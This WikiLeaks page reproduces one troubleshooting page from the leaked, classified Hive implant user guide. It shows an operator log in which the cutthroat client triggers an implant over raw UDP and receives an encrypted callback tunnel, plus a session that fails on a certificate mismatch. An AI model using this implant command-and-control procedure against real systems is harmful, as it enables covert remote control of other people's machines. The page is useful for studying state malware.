WikiLeaks - Vault 7: Projects

# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Hive

# Users Guide

9 November, 2015

- 1
- 2
…
- 21
- 22
- 23
- 24
- 25
…
- 30
- 31

SECRET//NOFORN
(U) Hive 2.9.1 User's Guide (U) Troubleshooting
6 (U) Troubleshooting
(S) Below is an example two ILM client sessions, the uncolored area being common to both. The
light green section shows a good connection, the light yellow a bad connection that was caused by
using an SSL certificate chain (ca.crt) that doesn't match the server certificate (server.crt).
SECRET//NOFORN//20401109 21
root@kubuntu-11:~/hive# ./cutthroat ./hive
[success] Successfully loaded ./hive [load]
CutThroat
JY008C634-6
Version: 2.2
CCS Version: 2.2
Usage:
verbosity <level> Sets the verbosity level
mode <new mode> Sets the operating mode of CT
load <ILM Filename> Loads the library
quit Exits Command Post
> ilm connect 10.6.5.190
Listening for connection on port 8123 ...
Trigger details:
. Remote IP address 10.6.5.190 with raw-udp trigger
. Callback IP address 10.6.5.195 on port 8123
Trigger sent.
... connection established!
Connection details:
. Remote IP address 10.6.5.190 on port 42146
. Local IP address 10.6.5.195 on port 8123
Enabling encrypted communications:
. TLS handshake complete.
. AES-encrypted tunnel established.
[Success]
************ Success ************
[ilm connect 10.6.5.190]
Enabling encrypted communications:
> Error: Certificate chain verification failed: NOT TRUSTED
* Error: TLS connection with TLS client failed to initialize.
[Local Failure]
************ Local Failure ************
[ilm connect dns]
>

- 1
- 2
…
- 21
- 22
- 23
- 24
- 25
…
- 30
- 31